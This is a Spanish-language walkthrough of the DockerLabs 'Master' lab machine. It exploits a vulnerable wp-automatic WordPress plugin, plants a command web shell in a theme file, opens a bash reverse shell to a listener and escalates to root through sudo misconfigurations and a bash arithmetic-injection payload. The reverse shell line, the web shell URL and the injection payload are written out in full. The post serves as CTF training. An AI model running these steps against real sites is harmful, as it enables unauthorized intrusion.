DockerLabs Master

DockerLabs Master

Esta es una máquina de DockerLabs de nivel medio

·

4 min read

Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.

Descargamos el archivo de la página dockerlabs.es/#

Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos.

Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.

Realizamos el escaneo de la dirección IP y podemos observar que solo identifico el puerto 80.

Al ingresar observamos que la página ofrece varios cursos así también todos sus botones son funcionales y también notemos que en la parte inferior dice Automated By wp-automatic 3.92.0.

Revisando los cursos observamos que el autor de todos los cursos es Mario.

Escaneamos el directorio y observamos el login de WordPress.

Al dirigirnos a ese directorio podemos observar que el usuario Mario existe. Por ello probamos realizando un ataque de fuerza bruta, pero no es posible. Buscando wp-automatic 3.92.0 podemos observar que hay varios exploits para esta

Buscando acerca de algún exploit encontramos este https://github.com/diego-tella/CVE-2024-27956-RCE

Para poder hacer uso de este solo debemos clonar el repositorio y ejecutarlo.

Y para ejecutarlo es ingresarlo de la siguiente manera, luego de ejecutarlo podemos observar que tenemos las credenciales

eviladmin:admin

Ingresamos con las credenciales y ya estamos dentro del servicio.

Al dirigirnos a la sección de users podemos comprobar que tenemos permisos de administrador.

Para poder establecer una shell, modificaremos un archivo. Por ello primero no vamos a Theme File Editor

Cambiamos el theme a editar por twenty twenty-two, agregamos la siguiente línea de código y guardamos.

Nos dirigimos a la dirección podemos observar que podemos ejecutar comandos.

http://172.17.0.2/wp-content/themes/twentytwentytwo/functions.php?cmd=id

Ya que podemos ejecutar comandos estableceremos una shell. Para ello iniciaremos nuestro listener con nc

y deberemos establecer nuestra consulta.

bash -c \ "bash -i >& /dev/tcp/172.17.0.1/1234 0>&1\ "'

Para evitar problemas con los símbolos lo pasamos a base 64.

bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F1234%200%3E%261%22

Y enviamos, el URL debería ser así.

http://172.17.0.2/wp-content/themes/twentytwentytwo/functions.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F1234%200%3E%261%22

Al momento de enviar en nuestro listener ya deberíamos poder ver que se estableció conexión.

Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos

script /dev/null -c bash

luego un ctrl+z, regresaremos a nuestra consola seguida de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty

stty raw -echo; fg
                reset xterm

para obtener más características usamos

export TERM=xterm

para la variable de entorno

echo $SHELL

y para pasar a bash usamos

export SHELL=/bin/bash

para establecer el tamaño adecuado de la consola ingresamos

stty rows 59 cols 236

de esta manera ya nos podemos mover con más libertad en la consola.

Realizamos un sudo -l y podemos observar que podemos escalar al usuario pylon usando el binario de PHP.

Buscando en la página GFTOBins Podemos observar como realizar este paso.

Ejecutamos el comando y podemos observar que ya pudimos elevar privilegios como pylon.

Al dirigirnos a la carpeta del usuario y listar los archivos podemos observar un script que muestra el canal de YouTube del usuario así también este archivo le pertenece a este usuario.

Realizamos un sudo -l podemos observar que podemos usar un archivo que está en el directorio de Mario poder escalar como el usuario mario.

Como no podemos leer de que trata el archivo pingusorpresita.sh lo ejecutaremos para poder observar que hace el script y si tiene el mismo funcionamiento que el de la carpeta de pylon podremos aprovecharnos de esta y usar comandos, ya que el script no validaba caracteres.

Para ello agregaremos el siguiente comando para poder ejecutar código arbitrario. Para tener más idea de como funciona visitar el siguiente link arbitrary code

a[$(bash >&2)]+42

Luego de ingresar el comando podemos observar que ya somos mario

Si volvemos a realizar sudo -l podemos observar la misma situación, así que volvemos a repetir los mismos pasos anteriores y ya somos root, de esta manera culminando esta máquina.